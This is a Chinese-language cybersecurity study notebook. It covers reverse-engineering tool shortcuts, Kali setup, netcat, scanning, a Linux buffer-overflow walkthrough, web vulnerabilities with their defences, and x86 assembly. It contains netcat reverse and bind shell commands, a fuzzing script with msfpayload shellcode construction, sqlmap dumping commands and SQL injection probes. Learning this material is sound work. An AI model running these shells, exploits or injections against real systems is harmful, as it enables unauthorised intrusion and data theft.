网络安全学习

综述

网络安全:要求数据在互联网上:真实,可靠,完整,可控的传输与存储。

工具

Windows

IDA

快捷键:

  • Space 切换 列表 图形 视图

  • F5 切换 伪代码

  • Tab 补全命令

  • 双击 跳转到定义

  • X 跳转到引用

  • G 跳转到地址

  • Ctrl + E 查看入口

  • Ctrl + S 跳转到段 / 搜索

  • Alt + T 打开文本搜索对话框

  • Alt + I 搜索立即数

  • Alt + B 搜索二进制

  • Shift + F12 打开字符串窗口

  • Alt + M 添加书签

  • Ctrl + M 列出所有书签

  • Ctrl + Alt + B 列出断点列表

  • F7 单步进入

  • F8 单步跳过

  • Ctrl + F7 运行到函数返回地址

  • F4 运行到光标处

  • R ASCII 数字 切换显示

  • H 十进制 十六进制 切换显示

  • ; 注释 交叉参考处显示

  • : 注释 只在该处显示

  • -/+ 合并/展开 可视化视图

  • Ctrl + Enter 下一项

  • N 重命名

  • Y 修改 函数签名 或 变量类型

  • D 数据类型转化 byte word dword qword

  • * 转化 变量 为 数组

  • Alt + * 设置数组大小

  • A 转化为 字符串首地址

  • Alt + A 设置字符串编码格式

  • Shift + S 创建结构体

OD

快捷键:

  • Ctrl + F2 重启程序

  • Alt + F2 关闭程序

  • F3 打开程序

  • Alt + F5 OD总在最前

  • Alt + B 断点窗口

  • Alt + C CPU窗口

  • Alt + E 模块列表

  • Alt + K 调用栈

  • Alt + L 日志

  • Alt + M 内存

  • Alt + O 选项

  • Alt + X 关闭 OD

  • Ctrl + P 补丁窗口

  • Ctrl + T RUN 对话框

  • F10 打开快捷菜单

  • Enter 将当前命令添加到历史

  • Backspace 移除该部分的自动分析信息

  • Alt + Backspace 撤销

  • Ctrl + A 分析当前代码

  • Ctrl + B 二进制搜索

  • Ctrl + C 复制

  • Ctrl + E 二进制编辑

  • Ctrl + F 命令搜索

  • Ctrl + G 跳转到地址

  • Ctrl + J 列出相关的调用和跳转

  • Ctrl + K 查看调用树

  • Ctrl + L 搜索下一个

  • Ctrl + N 打开名称列表

  • Ctrl + O 扫描Object

  • Ctrl + R 搜索所选命令

  • Ctrl + S 命令搜索

  • Space 修改命令

  • F2 切换断点

  • F4 执行到这一行

  • Shift + F4 设置记录断点

  • F7 单步进入

  • F8 单步跳过

  • F9 运行到断点

  • Alt + F9 执行到返回用户代码段

  • F12 停止执行

  • Esc 停止自动跟踪

命令插件:

  • calc 判断表达式
  • watch 监视表达式
  • at 跳转到地址
  • orig 反汇编与EIP
  • dump 转存
  • da 转存为反汇编
  • db 16进制转存
  • dc ASCII 转存
  • dd 存入堆栈
  • du unicode 转存
  • dw word 转存
  • bp 下断点
  • bpd 清除全部调用中的断点
  • bc 清除断点
  • brk 查看断点窗口
  • opt 打开选项设置窗口
  • rst 重新运行当前程序
  • help 查看 API 函数的帮助

Kali

GDB

PWNDGB

Kali 渗透测试

标准

PETS

  • 前期交互,获取范围,一次一个系统
  • 情报收集,安全防护机制
  • 威胁建模
  • 漏洞分析
  • 渗透攻击
  • 后渗透测试
  • 报告

定制系统

路由配置

强制DHCP客户端请求IP

1
dhclient eth0

临时自定义IP

1
2
3
4
5
6
7
# 设置 IP 和 网关
ifconfig eth0 192.168.0.102/24
route add default gw 192.168.0.1 # gw: Gate Way
# 添加静态路由
route add -net 192.168.0.0/24 gw 192.168.0.1 eht0
# 配置 DNS (永久保存)
echo nameserver 192.168.0.1>/etc/resolv.conf

设置永久IP

1
2
3
4
5
6
7
8
9
10
11
12
13
vi /etc/network/interfaces
# 默认
iface eth0 inet dhcp
# 改为 静态
iface eth0 inet static
address 192.168.0.102
netmask 255.255.255.0
gateway 192.168.0.1
dns-nameservers 192.168.0.1
# up 当网卡启动后执行
up route add -net 192.168.0.0/24 gw 192.168.0.1 eth0
# down 当网卡卸载后执行
down route del -net 192.168.0.0/24

系统更新

切换更新源

1
2
3
deb http://mirrors.ustc.edu.cn/kali kali main non-free contrib 
deb-src http://mirrors.ustc.edu.cn/kali kali main non-free contrib
deb http://mirrors.ustc.edu.cn/kali-security kali/updates main contrib non-free

更新软件

1
2
3
4
apt-get update
apt-get update --fix-missing
apt-get upgrade
apt-get dist-upgrade # 大版本升级

浏览器插件

Firefox

  • autoproxy 代理
  • Tamper Data HTTP 包 查看 修改
  • cookie importer 导入Cookie
  • Cookies Manager 管理Cookie
  • User Agent Switcher 修改浏览器特征
  • HackBar F9 注入,参数修改,Post等
  • Live http header 拦截 HTTP 头
  • Firebug 调试
  • Flagfox 显示国籍
  • hashr 计算哈希
  • xss me 自动化跨站脚本攻击
  • sql inject me SQL 注入

网络工具

NC - NETCAT

  • 侦听 传输 模式
  • Telnet 获取 banner
  • 传输文本
  • 传输文件
  • 加密传输文件
  • 远程控制
  • 加密所有流量
  • 流媒体服务器
  • 远程克隆硬盘

但是NCAT是明文传输,会被嗅探到。

当作 Telnet 使用

1
2
3
# -v 显示详细输出内容 
# -n 不进行DNS解析
nc -nv 192.168.0.102 80

侦听端口

1
2
3
4
5
# -l 侦听
nc -l -p 9001
nc -l -p 9001 > ps.txt
# 收集信息
ps aux | nc -nv 192.168.0.1 3333 -q 1 # -q 等待 1 秒退出

传输文件目录

1
2
3
4
5
6
7
8
9
# 接收
nc -lp 3333 > main.mp4
nc -nv 192.168.0.1 3333 < main.mp4 -q 1
# 发送
nc -q 1 -lp 3333 < main.mp4
nc -nv 192.168.0.1 3333 > main.mp4
# 传输目录
tar -cvf - music/ | nc -lp 3333 -q 1 # 打包目录
nc -nv 192.168.0.1 3333 | tar -xvf - # 解包目录

流媒体

1
2
cat 1.mp4 | nc -lp 3333
nc -nv 192.168.0.1 3333 | mplayer -vo x11 -cache 3000 -

端口扫描

1
2
nc -nvz 192.168.0.1 1-65535  # TCP
nc -nvzu 192.168.0.1 1-65535 # UDP

硬盘克隆

1
2
nc -lp 3333 | dd of=/dev/sda
dd if=/dev/sda | nc -nv 192.168.0.1 3333 -q 1

远程控制

1
2
3
4
5
6
# 正向
nc -lp 3333 -c bash
nc 192.168.0.1 3333
# 反向
nc -lp 3333
nc 192.168.0.1 3333 -c bash

NCAT

由于NC缺乏加密能力,因此可以使用Ncat。

加密连接

1
2
ncat -c bash --allow 192.168.20.14 -vnl 3333 -ssl
ncat -nv 192.168.0.102 3333 -ssl

Base64

1
2
base64 content
# Ctrl + D 计算

其他配置

  • ibus 输入法
  • Java
  • 笔记本模式
  • 并发线程限制:限制当前shell内进程资源
    1
    2
    3
    4
    5
    6
    # 查看默认值
    ulimit -a
    # 限制堆栈
    ulimit -s 100
    # 限制内存
    ulimit -m 5000 -v 5000

被动信息收集

公开渠道可获取的信息,不与目标系统接触。基于媒体,搜索引擎等。
资料1
资料2

域名

FQDN:主机名是bigserver,域名是mycompany.com,那么FQDN就是bigserver.mycompany.com。

记录类型:

  • C NAME - 解析为其他域名
  • A / NS - 域名解析为IP
  • PTR - IP解析为域名

NS LOOKUP

1
2
3
4
5
6
7
8
9
nslookup www.sina.com.cn
# 找到 A 记录
> set type=a # 只查A记录
> set type=mx # 查MX记录 邮件交换记录
> sina.com

# -q 同 -typq
nslookup -q=any 163.com
nslookup 163.com -q=any 114.114.114.114

DIG

1
2
dig 163.com any
dig 163.com any @8.8.8.8

主动信息收集

主机扫描

端口扫描

服务扫描

Banner 搜索,但是准确度不可靠。

  • nc
  • Python 通过 Socket 发起连接获取 Banner
  • dmitry
  • nmap 通过 banner 脚本实现
  • amap 专门用来发现服务
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    nc -nv x.x.x.x 22
    # 输出 Banner
    # SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1

    # p tcp port , b read banner
    dmitry -pd x.x.x.x

    # sT 完整 TCP -p端口范围
    # 脚本目录 /usr/share/nmap/script
    nmap -sT x.x.x.x -p1-100 --script=banner.nse

    amap -B x.x.x.x 21
    amap -B x.x.x.x 1-100
    amap -B x.x.x.x 1-100 | grep on

Nmap 可以根据特征库识别目标系统和服务

1
2
3
# 依据特征识别
nmap x.x.x.x -p1-100 -sV
amap x.x.x.x 1-100 -qb

操作系统扫描

依据TTL,默认值,不准确

  • Windows 65-128
  • Linux Unix 1-64
  • 某些Unix 255

使用Nmap

1
nmap -O x.x.x.x

专门用来识别操作系统的工具,不如Nmap

1
xprobe2 x.x.x.x

被动扫描方式:
部署在网络出口,通过网络抓包,镜像端口等方式。

SNMP 扫描:

  • 简单网络管理协议
  • 监控网络设备的CPU 内存 网络带宽 等
  • 默认是public,容易被渗透
    1

漏洞扫描

CVSS:通用漏洞评分系统。(一种工业标准)

  • 版本 V3.1
  • 类别
    • Basic - 基本
    • Temporal - 依赖时间因素
    • Enviromental - 利用环境

CVE 管理组织,负责漏洞编号。
各个厂商也会自己编号。

OVAL 开放漏洞描述语言:XML语言。

  • 描述漏洞,可以被扫描器存储。

CCE 描述软件缺陷的标准化格式。

CPE 软件,硬件,其他设备 命名编号格式。

CWE 通用弱点描述,只做类型分类。

SCAP 集合多种安全标准的框架,包含上述标准。

  • 便于管理,测量,量化。
  • 将复杂系统配置自动化。

NVD 美国国家漏洞库。

手工查询

漏洞库:地址1,由Kali维护。地址2,由Rapid7维护。

或本地库搜索

1
2
3
4
searchsploit tomcat
# /usr/share/exploitdb/exploits/
# 攻击脚本地址
# /usr/share/exploitdb/shellcodes

或工具sandi-gui

弱点扫描器

主动扫描:

  • 有身份验证
  • 无身份验证

被动扫描:

  • 镜像抓包
  • 其他来源输入

基于Agent扫描:

  • 应用场景受限

Nmap

1
2
# 脚本位置
# /usr/share/nmap/scripts

缓冲区溢出

漏洞来源:数据与程序的边界不清。

例如:Shell脚本。

挖掘漏洞:

  • 源码审计
  • 逆向工程
  • 模糊测试:利用调试工具,发送任意包注入

Linux 缓冲区溢出

调试工具:EDB

1
edb --run target

探测溢出:

  1. 需要关注EIP。
  2. 尝试不同长度的数据填充,直到溢出,改变EIP。一旦发生溢出,EDB会报错。
  3. 如果EIP被修改为填充数据,则表示可以利用。如果被修改为其他数据,则无法利用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 探测脚本
import socket
host = '127.0.0.1'
crash = '\x41' * 4379
# \x11 设备1调用的指令代号:传输开始 \x90 NOP \x00
buffer = '\x11(setup sound' + crash + '\x90\x00#'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("Start to send")
s.connect((host, 13327))
data = s.recv(1024)
print(data)
s.send(buffer)
s.close()
print("End")

寻找溢出位置:

  1. 使用唯一的填充字符串,填充缓冲区。
  2. 通过查看EIP被修改的数据定位溢出位置。
1
2
3
4
5
6
7
# 唯一字符串生成
cd /usr/share/metasploit-framework/tools
./pattern_create.rb 4379 # 长度为 4379

# 精确匹配偏移量
./pattern_offset.rb 72712791
# 返回 offset 4368, 表示 4369 - 4372 这4个被覆盖

构造攻击字符串:

  • 一般情况下,C 部分(ESP)用来构造Shell Code。
  • 如果不行,则先进入 C 部分,再跳转到 A 部分,执行Shell Code。
    1
    2
    #         A               B          C
    crash = '\x41' * 4368 + '\x42' * 7 + '\x43' * 7
1
2
3
4
5
6
7
8
# 构造 汇编指令
cd /usr/share/metasploit-framework/tools
./nasm_shell.rb
# 当函数返回时,返回地址已被修改,新的地址被读入EIP中,函数返回值存放在EAX中
# 这个函数的返回值就是 crash 字符串
> add eax, 12
> jmp eax
# 返回 83 c0 0c ff e0 90 90

使用EDB插件Opcode Search搜索ESP->EIP得到JMP ESP指令的地址(0x08134587)。

查找坏字符:不能出现在Shell Code中

  1. **

编写Shell Code

1
2
# -b 坏字符表
msfpayload linux/x86/shell_bind_tcp LPORT=4444 R | msfencode - b "\x00\x20\x09\x0D"
1
2
3
crash = shell_code + '\x41' * (4368 - len(shell_code)) 
+ '\x87\x45\x13\x08'
+ '\x83\xc0\x0c\xff\xe0\x90\x90'

Web 渗透

Http

重要的头:

  • Set-Cookie - 发送给客户端 SessionId
  • Content-Length - 响应体的字节长度
  • Location - 重定向到另一个页面,用于识别身份后跳转
  • Cookie
  • Referer - 发起请求之前,用户位于哪个页面
  • Host - 发起请求之前,用户位于的站点

侦察

Httrack:用于克隆目标网站,以减少与目标系统的交互。克隆之后,搜索敏感的字符串:电话,邮件等。

1
httrack

hidemyass:免费HTTP代理,可能会有黑客。

扫描

  • Nikto
  • Vega
  • Skipfish
  • W3af
  • Arachni
  • Owasp-zap

Nikto:可以扫描

  • Web服务器版本
  • 存在安全隐患的文件
  • 服务器配置漏洞
  • Web 应用程序上的安全隐患

同时会扫描所有页面。

1
2
nikto -update  # 升级数据库
nikto -list-plugin # 插件

手动挖洞

默认开通某些服务,可能被攻击:
- phpMyAdmin/setup
- Ubuntu 默认安装 PHP5-cgi

SQL 自动注入

SQLMap:

不仅可以发现SQL漏洞,还能检查跨站脚本漏洞。

五种检测技术

  • 基于布尔的盲注
  • 基于时间的盲注
  • 基于错误的检测
  • 基于Union的检测:适用于循环
  • 基于堆叠查询的检测

GET 注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# -u url   -p 检测的参数   -f 检查服务器指纹信息
sqlmap -u "http://..." -p username -f
# --users 管理员账号
sqlmap -u "http://..." -p username --users
# --banner Banner信息
# --dbs 查询所有的库
# --schema 元数据库

# -a 所有信息
sqlmap -u "http://..." -p username -a

# -m 检查URL List
sqlmap -m url_list.txt

# -g 扫描 Google 搜索结果
sqlmap -g "inurl:\".php?id=1\""

POST 注入:

1
2
3
4
5
6
7
8
# 启动 burpsuit 作为代理,用浏览器连接代理,准备抓包
# 抓取HTTP请求,保存到 request.txt
sqlmap -r request.txt

# 启动 burpsuit 作为代理,用浏览器连接代理,准备抓包
# 在 burpsuit 中配置 Options,Logging 中勾选 Proxy Requests
# 结果保存到 用户目录下 log.txt
sqlmap -l log.txt

可以直接连接数据库,其他查询方式一样:

1
sqlmap -d "mysql://root@xx.xx.xx.xx:3306/database_name" -f --users

Request:

1
#

其他功能:

  • 可以进行字典破解,来破解密码。

靶场

TurnKey

地址
有各种应用构成的虚拟机可供测试。

Metasploit

Metasploit
Metasploitable 2
集成各种渗透测试应用。

Metasploitable 2 中需要配置一下:

1
2
3
vim /var/www/mutillidae/config.inc
# 修改 dbname
$dbname = 'owasp10'

Vulhub

地址
基于docker和docker-compose的漏洞环境集合。

模拟防火墙

地址
用于模拟真实网络。

Linux 扫描与防御

主机扫描

netstat 查看端口

1
2
3
-l # 正在监听的端口
-t # TCP 协议
-n # 不解析主机名

禁用 ICMP 连接

1
sysctl -w net.ipv4.icmp_echo_ignore_all=1

TCP Dump

1
tcpdump -np -ieth0

fping 批量主机扫描工具(ICMP)

作用:批量,并行发送,结果易懂。
下载地址

1
2
3
4
5
6
man fping # 查看帮助
fping IP1 IP2
-a # 只显示存活的主机
-u # 只显示未存活的主机
-g # 主机段
-f # 从文件读取

hping 批量主机扫描工具(TCP/IP)

作用:探测TCP端口,模拟DDOS攻击。
下载地址

1
2
3
4
hping -h # 帮助
-p port_num # 端口探测
-S # 设置TCP模式下的 SYN 包
-a # 伪造IP地址

路由扫描

Trace Route

让每一个路由返回一个ICMP包。

  • Windows:发送 ICMP 包。
  • Linux:发送 UDP 包,端口号大于30000。
1
2
3
4
5
traceroute IP # 默认 UDP
-T # 使用 TCP
-p # 使用 TCP 的端口号
-I # 使用 ICMP
-n # 延时时间

MTR

测试主机到每一个路由的连通性,实时。

1
mtr IP

扫描服务

NMAP

批量扫描主机和服务

1
2
3
4
5
6
7
8
-P   # ICMP ping 简单
-sS # TCP SYN 不易检测,通用
-sT # TCP 连接 真实
-sU # UDP 可能穿透防火墙,会很慢:Linux限制单位时间内返回ICMP的次数

nmap -sP 10.10.10.0/24 # 得到存活的主机
nmap -sS 10.10.10.12 # 得到主机上存活的TCP服务(默认0-1024和特殊端口)
nmap -sS -p 0-30000 10.10.10.12 # 指定端口

NCAT

1
2
3
4
5
6
7
8
-w # 超时时间
-z # 输入输出模式
-v # 显示命令执行过程

# 默认 TCP
nc -v -z -w2 10.10.10.12 1-50 # 端口范围1-50
# UDP
nc -v -u -z -w2 10.10.10.12 1-50

攻击防御

攻击者伪造源IP,发送SYN包,耗尽目标机器资源。
防御方式:

1
2
3
4
5
6
7
# 方式1:设置重置次数,默认都是5次
sysctl -w net.ipv4.tcp_synack_retries=3
sysctl -w net.ipv4.tcp_syn_retries=3
# 方式2:设置SYN Cookies
sysctl -w net.ipv4.tcp_syncookies=1
# 方式3:增大backlog队列(保存SYN请求的缓冲区)
sysctl -w net.ipv4.tcp_max_syn_backlog=2048

关闭ICMP:

1
sysctl -w net.ipv4.icmp_echo_ignore_all=1

设置IP Tables防止扫描。

IP Tables

内存包含机制

ASLR

ASLR(Address space layout randomization)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。

Windows

关闭方法:打开Windows Defender应用和浏览器控制Exploit Protection,先关闭ASLR,再关闭其余两项。之后重启。

Linux

Ubuntu 关闭方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 查看当前配置
# 0 关闭 1 半随机 2 全随机(包含HEAP)
cat /proc/sys/kernel/randomize_va_space
# 查看地址空间随机效果
ldd /bin/bash

# 临时关闭 ASLR
sysctl -w kernel.randomize_va_space=0

# 永久关闭 ASLR
vim /etc/sysctl.conf
# 增加
kernel.randomize_va_space=0

# GDB 下关闭 ASLR
set disable-randomization on # 关闭 ASLR
set disable-randomization off # 开启 ASLR
show disable-randomization # 查看

DEP

堆栈 Cookies

堆栈粉碎

Web 漏洞

XSS

跨站脚本攻击:通过在网站中提交含可执行代码的内容,被其他用户访问的时候执行。

类型包括:
反射型:URL带注入。可以用短网址隐藏。
存储型:存到数据库。其他用户访问时被攻击。

注入点

HTML 结点内容:用户输入的动态信息。

1
2
3
<div>
<script></script>
</div>

HTML 属性:由用户输入。
用户输入了 1" onerror="alert(1)

1
<img src="1" onerror="alert(1)" />

JavaScript 代码。

1

富文本。

1

拦截

设置Header:关闭可能的XSS攻击(浏览器自带功能)。只拦截反射型,且只拦截HTML内容和属性种的。:

1
ctx.set('X-XSS-Protection', 1)

转义:将<, >, ", ', ...替换为HTML实体。可以在上传时替换,也可以在显示时替换。

1
2
3
4
5
str = str.replace(/</g, '&lt;');
str = str.replace(/>/g, '&gt;');
str = str.replace(/"/g, '&quto;');
str = str.replace(/'/g, '&#39;');
str = str.replace(/ /g, '&#32;');

同时转义Javascript内部的代码:

1
2
3
str = str.replace(/\\/g, '\\\\');  // 放在最前
str = str.replace(/"/g, '\\"');
str = str.replace(/'/g, '\\'');

Javascript内部的代码最保险的方法是使用Encode:

1
JSON.stringify();

富文本的过滤:富文本最复杂,使用黑名单和白名单。一般在输入时过滤。
黑名单方法:

1
2
3
4
5
6
7
// <script>
str = str.replace(/<\s*\/?script\s*/>);
// <a href="javascript:alert(1)">123</a>
str = str.replace(/javascript:[^'"]*/>);
// <img src="123" onerror="alert(1)">
str = str.replace(/onerror\s*=\s*/>);
// 其他形式 ...

白名单方法:先解析HTML,再将必要的标签输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const cheerio = require('cheerio')
const $ = cheerio.load(HTML_To_Filt)
var white_list = {
'img': ['src']
}
$('*').each(function(index, elem){
if(!white_list[elem.name]){
$(elem).remove();
return
}
for(var attr in elem.attribs){
if(white_list[elem.name].indexOf(attr) === -1){
$(elem).attr(attr, null)
}
}
})
$.html()

XSS 拦截集成库

Github 地址

1
2
var xss = require('xss')
var html = xss('')

CSP 内容安全策略

HTTP头,用于指定哪些可以执行。

1
Content-Security-Policy: default-src 'self' http://www.com; content-src 'none'; script-src http://www.com

CSRF 跨站请求伪造

用户打开某一个第三方网站,则第三方网站伪装成用户在某网站进行操作。甚至可以用来制造网络蠕虫。

攻击步骤:

  1. 用户登录A网站
  2. A网站确认身份
  3. B网站前端向A网站发起请求,附带身份

危害:

  • 冒用用户的身份
  • 用户不知情
  • 盗取用户资金

防御

禁止第三方网站前端带Cookies访问:

1
2
Set-Cookie: samesite=strict
Set-Cookie: samesite=lax

但该方法只有Chrome和苹果浏览器支持。

使用验证码和Token:

1
2
3
4
5
6
7
8
// 验证码
var captcha = ccap(); // 调用外部模块生成验证码
var data = captcha.get(); // 0 - 图片 1 - 文字

// Token
// 后端生成Token,表单或Meta中一份,Cookie中一份。
// 后端收到提交后,判断表单和Cookie中Token是否一致。
// 攻击者没有表单中的Token,也拿不到Cookie中的Token。

验证Referer:Referer是HTTP请求头中的部分,可以通过验证该字段是否是A网站来判断请求的合法性。
但是有时一些浏览器没有Referer,因此这种验证是否需要要看需求。

1
2
3
4
5
// 这种验证方法仍然有局限性,可以使用正则表达式
var referer = ctx.request.headers.referer;
if(referer.indexOf('localhost') === -1){
throw new Error('Request Error')
}

Cookies

特点:

  • 存储在前端
  • 后端可以通过设置HTTP头,设置Cookie
  • 请求时,通过HTTP头,交给后端
  • 前端也可以读写
  • 遵守同源策略:协议,域名,端口必须一致。
  • 有有效期
  • 可以用路径(Path)分类
  • HTTP-ONLY
  • HTTPS-ONLY (Security)

操作:

  • 删除:通过设置有效期为过去的时间
    1
    2
    var now = new Date().toGMTString();
    document.cookie = 'name=1; expires=' + now;

使用:

  • 为了防止被篡改,登录凭证使用:用户ID + 签名
  • 也可以用加密
  • 设置HTTP-ONLY / HTTPS-ONLY / same-site
  • SessionID 一般存放到数据库中

与网络攻击:

  • XSS可能偷取Cookie
  • CSRF利用Cookie,但是无法读写Cookie

点击劫持

通过设置一个透明的IFrame,用另外的页面诱骗用户点击一系列位置(目标网站的一系列按钮)。

防御:防止网站被内嵌。

  • 使用判断条件:(但是可以被sandbox属性屏蔽)
    1
    2
    top !== window
    top.location != window.location
  • 可以设置头部:X-FRAME-OPTIONS
    1
    2
    ctx.set('X-Frame-Options', 'DENY'); 
    // SAME-ORIGIN / ALLOW-FROM / DENY
  • 设置验证码

HTTP 传输窃听

使用AnyProxy作为HTTP代理。
攻击:

  • 中间人通过替换常用脚本,插入攻击代码。
  • 查看传输的数据
  • 插入广告
  • 重定向网站
  • 无法防御XSS, CRSF

防御:

  • 使用HTTPS (TLS)
  • 防止中间人攻击, 使用证书机制 CA
    • 浏览器内置信任列表
    • 服务器申请证书
    • CA 颁发证书
    • 浏览器发起请求, 得到证书, 验证通过
  • 证书攻击: 证书无法伪造, 私钥不泄露(存在服务器上), 域名管理权不丢失, CA不出错
  • Windows 上查看证书 Win+R, mmc

为网站添加证书:

  1. 安装脚本
    1
    2
    3
    curl https://get.acme.sh |sh
    cd /root/.acme.sh
    ./acme.sh --issue -d mydomain.com -d www.mydomain.com --webroot /home/wwwroot/html/
  2. 得到证书, 私钥等。
    1
    2
    3
    4
    /root/.acme.sh/.../name.cer         # 证书
    /root/.acme.sh/.../name.key # 私钥
    /root/.acme.sh/.../ca.cer # CA 证书
    /root/.acme.sh/.../fullchain.cer # 合并证书
  3. 配置Nginx
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    server {
    listen 80;
    listen 443 ssl http2;
    server_name www.mydomain.com;

    ssl_certificate /root/.acme.sh/.../fullchain.cer;
    ssl_certificate_key /root/.acme.sh/.../name.key;

    location / {
    root /home/wwwroot/html;
    }
    }
  4. 重启Nginx

密码安全

泄露途径:

  • 数据库被盗
  • 服务器被入侵
  • 通信链路被窃听
  • 内部人员泄露
  • 撞库(社工)

存储:

  • 加密存储
  • 单向变化
  • 增强变化复杂度
  • 增强密码复杂度
  • 加盐

哈希算法

明文与密文一一对应。
雪崩效应:原文一点点不一样,密文完全不一样。
单向变化。
密文长度固定。

MD5 SHA1 SHA256:破解方法,彩虹表。最大支持破解8位数字加字母。
变换次数越多越安全,彩虹表失效,解密成本增大。

传输过程防范

使用HTTPS传输。
加入密码尝试次数限制。
前端加密,但是意义有限,仅防止明文泄露。

生物特征密码

私密性:容易泄露(照片,接触等)
安全性:碰撞
唯一性:无法修改

关系型数据库注入

常见数据库:

  • Access:早期用,单文件
  • Sqlite:嵌入式设备,单文件,并发弱
  • Mysql:作为服务,支持大量数据和并发
  • Mssql Server:作为服务,收费

SQL 注入

数据部分被插入了程序。

1
select * from where id = '1' or '1' = '1';

常用注入条件:

1
2
3
4
5
6
7
and 1 = 0  # 如果报错,则表示注入成功
or 1 = 1
and mid(version(), 1, 1) = 5 # 判断是否是Mysql,以及版本号
select 1,2,3 from table; # 每列都是1,2,3
select id,1,2,3 from table;
select * from table1 union select 1,2,3 from table2; # 猜测表有多少字段
select * from table where mid(username, 1, 1) = "t"; # 猜用户名

SQL注入中,如果页面报错,则SQL查询失败。

危害:

  • 猜解密码
  • 获取数据
  • 删库删表
  • 拖库

防御:

  • 关闭错误输出
  • 检查数据类型
  • 对数据进行转义,例如引号,等号等。
  • 使用参数化查询(分解为两次传输)
  • 使用ORM

上传问题

上传文件,再被解析为程序。多发生在PHP中。

防御:

  • 过滤非法后缀文件:容易伪造
  • 文件类型(Type)检查:由浏览器提供类型,也可以伪造
  • 文件内容检查:无法拦截混合文件
  • 使用程序输出:通过程序读取文件,再输出给用户。性能受影响
  • 权限控制:可写可执行的目录互斥
  • 使用路由机制

泄露信息

信息内容

  • 系统敏感信息
  • 用户敏感信息
  • 用户密码

泄露途径

  • 错误信息失控
  • SQL注入
  • 权限控制不当
  • XSS / CSRF

OAuth 思想:
第三方平台借用QQ等平台的用户凭证。
一切用户由用户授权。
第三方平台只能拿到Token,其他信息拿不到。

Windows 逆向

OD

快捷键

打开程序:F3
执行单步语句:F8
断点:F2

插件

CmdBar

1
2
db 0x12FFDC  # d 表示查看数据  b 表示 byte
# 还可以是 dw dd

汇编

寄存器

32位寄存器:
EAX 累加器
EBX DS段数据指针
ECX 计数
EDX IO指针
ESI 字符串操作源指针 SS段指针
ESP 堆栈指针
EBP SS段指针
EDI 字符串目标指针 ES段指针

16位寄存器:
AX, CX, DX, BX, SP, BP, SI, DI
0 , 1 , 2 , 3 , 4 , 5 , 6 , 7

8位寄存器:
AL, CL, DL, BL, AH, CH, DH, BH
0 , 1 , 2 , 3 , 4 , 5 , 6 , 7

如果是64位程序,则所有的寄存器中的E换成R。例如:
EAX变为RAX;ESP变为RSP。
另外QWORD表示4字64位。

MOV 类

MOV

1
2
MOV 目标操作数, 源操作数
MOV 通用寄存器/段寄存器/内存, 通用寄存器/段寄存器/内存/立即数

源操作数和目标操作数不能同时是内存。
源操作数和目标操作数必须等宽。

MOVS
允许两边同时为内存。但是执行后,结果依据DF位判断增减的方向。DF为1时,减偏移量。一般用于字符串复制。

1
MOVS dword ptr ds:[ebi], dword ptr ds:[esi]

MOVSX
先符号扩展,再复制变量。

1
MOVSX cx, al

MOVZX
先零扩展,再复制变量。

1
MOVZX cx, al

ADD / SUB

1
2
ADD 目标操作数, 源操作数
SUB 目标操作数, 源操作数

源操作数和目标操作数不能同时是内存。
结果存入目标操作数的位置。

AND / OR / XOR / NOT

1
2
3
4
AND 目标操作数, 源操作数
OR 目标操作数, 源操作数
XOR 目标操作数, 源操作数
NOT 目标操作数

源操作数和目标操作数不能同时是内存。
结果存入目标操作数的位置。

ADC / SBB

通过标志寄存器的进位位计算结果。

1
2
ANC 目标操作数, 源操作数 ; 考虑进位的加法
SBB 目标操作数, 源操作数 ; 考虑进位的减法

CMP / TEST

CMP功能和SUB一样,TEST功能和AND一样,但都只修改标志寄存器的值。

1
2
CMP  目标操作数, 源操作数 
TEST 目标操作数, 源操作数

CMP判断结果:
Z=1:相等。
S=1:目标操作数小于源操作数。
TEST判断结果:
TEST eax, eax Z=1:EAX为零。

JCC 类

JMP:直接修改EIP。不会修改其他寄存器。
CALL:会影响堆栈和寄存器。CALL的下一个语句(返回地址)会入栈(ESP)。跳转之后会自动执行,因此需要先加入断点再跳转。
RETN:会返回返回地址,会弹栈。相当于POP EIP。如果是RET 8则还会执行ESP+8(内平栈)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
JE JZ 目标操作数       ; ZF=1 相等跳转
JNE JNZ 目标操作数 ; ZF=0 不相等跳转
JS 目标操作数 ; SF=1 负则跳转
JNS 目标操作数 ; SF=0 正或0则跳转
JO 目标操作数 ; OF=1 溢出跳转
JNO 目标操作数 ; OF=0 不溢出跳转
; 无符号
JC JB JNAE 目标操作数 ; CF=1 进位跳转,小于跳转
JNC JNB JAE 目标操作数 ; CF=0 无进位跳转,大于等于跳转
JBE JNA 目标操作数 ; ZF=1 或 CF=1 小于等于跳转
JNBE JA 目标操作数 ; ZF=0 或 CF=0 大于则跳转
; 有符号
JL JNGE 目标操作数 ; SF!=OF 小于则跳转
JNL JGE 目标操作数 ; SF==OF 大于等于则跳转
JLE JNG 目标操作数 ; ZF!=OF 或 ZF=1 小于等于则跳转
JNLE JG 目标操作数 ; SF==OF 且 ZF=0 大于则跳转

SET 类

通过判断条件来设置为1。

1
SETE eax  ; 如果相等,则设置为1

XCHG

交换

1
XCHG eax, dword ptr ds:[ebx]

STOS

将EAX AX AL的值存放到EDI指定的位置。同样增减方向受到DF标志影响。

1
STOS dword ptr es:[edi]

REP

依据ECX指定重复次数。可以与STOS,MOVS一起用。

1
REP MOVS dword ptr ds:[ebi], dword ptr ds:[esi]

位运算

算术移位:左移,最低位补0,最高位移入CF。右移,最低位移入CF,最高位不变。
有符号数右移。

1
SAL/SAR 目标操作数, 移位次数

逻辑移位:左移,最低位补0,最高位移入CF。右移,最低位移入CF,最改为补0。
无符号数右移。

1
SHL/SHR 目标操作数, 移位次数

循环移位:溢出位同时进入CF。

1
ROL/ROR 目标操作数, 移位次数

带进位的循环移位:左移,最高位移入CF,CF移入最低为。右移,最低位移入CF,CF移入最高位。

1
RCL/RCR 目标操作数, 移位次数

内存

BYTE 8 bits
